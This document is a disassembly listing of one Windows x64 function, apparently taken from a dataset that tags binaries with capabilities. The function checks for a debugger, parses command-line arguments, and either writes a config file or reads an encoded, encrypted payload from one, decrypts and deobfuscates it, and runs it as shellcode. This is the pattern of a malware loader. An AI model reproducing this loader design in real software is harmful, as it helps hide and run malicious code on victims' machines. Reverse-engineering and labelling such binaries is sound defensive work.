Function at 0x140002c34
Capabilities:
Accept command line arguments

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x4a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x440], rcx
mov qword [rbp + 0x448], rdx
mov qword [rbp + 0x450], r8
mov dword [rbp + 0x458], r9d
call sym.anti_debug__
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
call rax
mov rcx, rax
lea rax, [rbp + 0x354]
mov rdx, rax
mov rax, qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call rax
mov qword [rbp + 0x418], rax
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call rax
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rdx, rax
lea rax, [rbp + 0x348]
mov r9, rdx
lea r8, [0x14001124d]
lea rdx, str.CONOUT_
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_freopen_s]
call rax
lea rax, [0x140011257]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140011ba0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, dword [rbp + 0x354]
cmp eax, 4
jne 0x140002d37
mov rax, qword [rbp + 0x418]
add rax, 8
mov rax, qword [rax]
lea rdx, [0x140011274]
mov rcx, rax
call sym.wcscmp
test eax, eax
jne 0x140002d37
mov eax, 1
jmp 0x140002d3c
mov eax, 0
test al, al
je 0x140002f05
lea rax, [rbp + 0x35b]
mov rcx, rax
call fcn.140003b20
mov rax, qword [rbp + 0x418]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x35b]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x35b]
mov rcx, rax
call fcn.140003b18
lea rax, [rbp + 0x35c]
mov rcx, rax
call fcn.140003b20
mov rax, qword [rbp + 0x418]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x35c]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x35c]
mov rcx, rax
call fcn.140003b18
lea rax, [rbp + 0x35d]
mov rcx, rax
call fcn.140003b38
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::end__
mov rbx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::begin__
mov rdx, rax
lea rcx, [rbp + 0x35d]
lea rax, [rbp - 0x20]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rax, [rbp + 0x35d]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x35e]
mov rcx, rax
call fcn.140003b38
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::end__
mov rbx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::begin__
mov rdx, rax
lea rcx, [rbp + 0x35e]
mov rax, rbp
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rax, [rbp + 0x35e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [0x14001127a]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, rbp
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
mov rax, qword [0x140011ba0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rdx, rbp
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.generate_config_file_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140003980
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140003980
jmp 0x14000358e
lea rax, [rbp + 0x320]
mov rcx, rax
call fcn.140003a28
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.140003a28
lea rax, [0x1400190c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::empty___const
test al, al
je 0x140003084
mov eax, dword [rbp + 0x354]
cmp eax, 2
je 0x140002fb8
lea rax, [0x140011295]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140011ba0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, str.:_.exe__i__bin___txt_
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140011ba0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
jmp 0x140003570
lea rax, [rbp + 0x35f]
mov rcx, rax
call fcn.140003b20
mov rax, qword [rbp + 0x418]
add rax, 8
mov rdx, qword [rax]
lea rcx, [rbp + 0x35f]
mov rax, rbp
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x35f]
mov rcx, rax
call fcn.140003b18
lea rax, [rbp + 0x38d]
mov rcx, rax
call fcn.140003b38
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::end__
mov rbx, rax
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::begin__
mov rdx, rax
lea rcx, [rbp + 0x38d]
lea rax, [rbp + 0x360]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x360]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x38d]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbp
mov rcx, rax
call fcn.140003980
jmp 0x140003317
mov eax, dword [rbp + 0x354]
cmp eax, 3
je 0x140003102
lea rax, [0x140011295]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140011ba0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, str.:_.exe__txt____
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140011ba0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
jmp 0x14000356f
lea rax, [rbp + 0x38e]
mov rcx, rax
call fcn.140003b20
mov rax, qword [rbp + 0x418]
add rax, 8
mov rdx, qword [rax]
lea rcx, [rbp + 0x38e]
lea rax, [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x38e]
mov rcx, rax
call fcn.140003b18
lea rax, [rbp + 0x38f]
mov rcx, rax
call fcn.140003b20
mov rax, qword [rbp + 0x418]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x38f]
mov rax, rbp
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x38f]
mov rcx, rax
call fcn.140003b18
lea rax, [rbp + 0x3bf]
mov rcx, rax
call fcn.140003b38
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::end__
mov rsi, rax
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::begin__
mov rdx, rax
lea rcx, [rbp + 0x3bf]
lea rax, [rbp + 0x390]
mov r9, rcx
mov r8, rsi
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rdx, [rbp + 0x390]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x390]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3bf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3ef]
mov rcx, rax
call fcn.140003b38
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::end__
mov rsi, rax
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::begin__
mov rdx, rax
lea rcx, [rbp + 0x3ef]
lea rax, [rbp + 0x3c0]
mov r9, rcx
mov r8, rsi
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rdx, [rbp + 0x3c0]
lea rax, [rbp + 0x300]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3ef]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x300]
lea rdx, [0x1400190c0]
mov rcx, rax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x1400032e1
lea rax, str.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140011ba0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
mov esi, 0
jmp 0x1400032e6
mov esi, 1
mov rax, rbp
mov rcx, rax
call fcn.140003980
cmp esi, 1
jne 0x1400032fd
mov esi, 1
jmp 0x140003302
mov esi, 0
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140003980
cmp esi, 1
jne 0x14000356f
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0x3f0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x3f0]
mov rcx, rax
call method.std::filesystem.exists_std::filesystem::__cxx11::path_const_
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x3f0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
test bl, bl
je 0x1400033b4
lea rax, str.:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x320]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
mov rax, qword [0x140011ba0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
jmp 0x140003570
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0x120]
mov r8d, 8
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140003a28
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.140003a28
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.140003a28
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::basic_istream_char__std::char_traits_char____std::getline_char__std::char_traits_char___std::allocator_char____std::basic_istream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::basic_istream_char__std::char_traits_char____std::getline_char__std::char_traits_char___std::allocator_char____std::basic_istream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::basic_istream_char__std::char_traits_char____std::getline_char__std::char_traits_char___std::allocator_char____std::basic_istream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::close__
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0xe0]
mov rcx, rax
call sym.advanced_hex_string_to_bytes_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call sym.advanced_hex_string_to_bytes_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x100]
mov rcx, rax
call sym.advanced_base85_decode_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x40]
lea r8, [rbp + 0x80]
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x60]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.variant_decrypt_std::vector_unsigned_char__std::allocator_unsigned_char____const__std::vector_unsigned_char__std::allocator_unsigned_char____const__std::vector_unsigned_char__std::allocator_unsigned_char____const_
lea rax, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x40]
mov r8, rcx
mov rcx, rax
call sym.variant_deobfuscate_std::vector_unsigned_char__std::allocator_unsigned_char____const__std::vector_unsigned_char__std::allocator_unsigned_char____const_
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.execute_shellcode_std::vector_unsigned_char__std::allocator_unsigned_char____const_
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x80]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
jmp 0x140003570
nop
lea rax, [rbp + 0x300]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x1400037b5
add rsp, 0x4a0
pop rbx
pop rsi
pop rbp
ret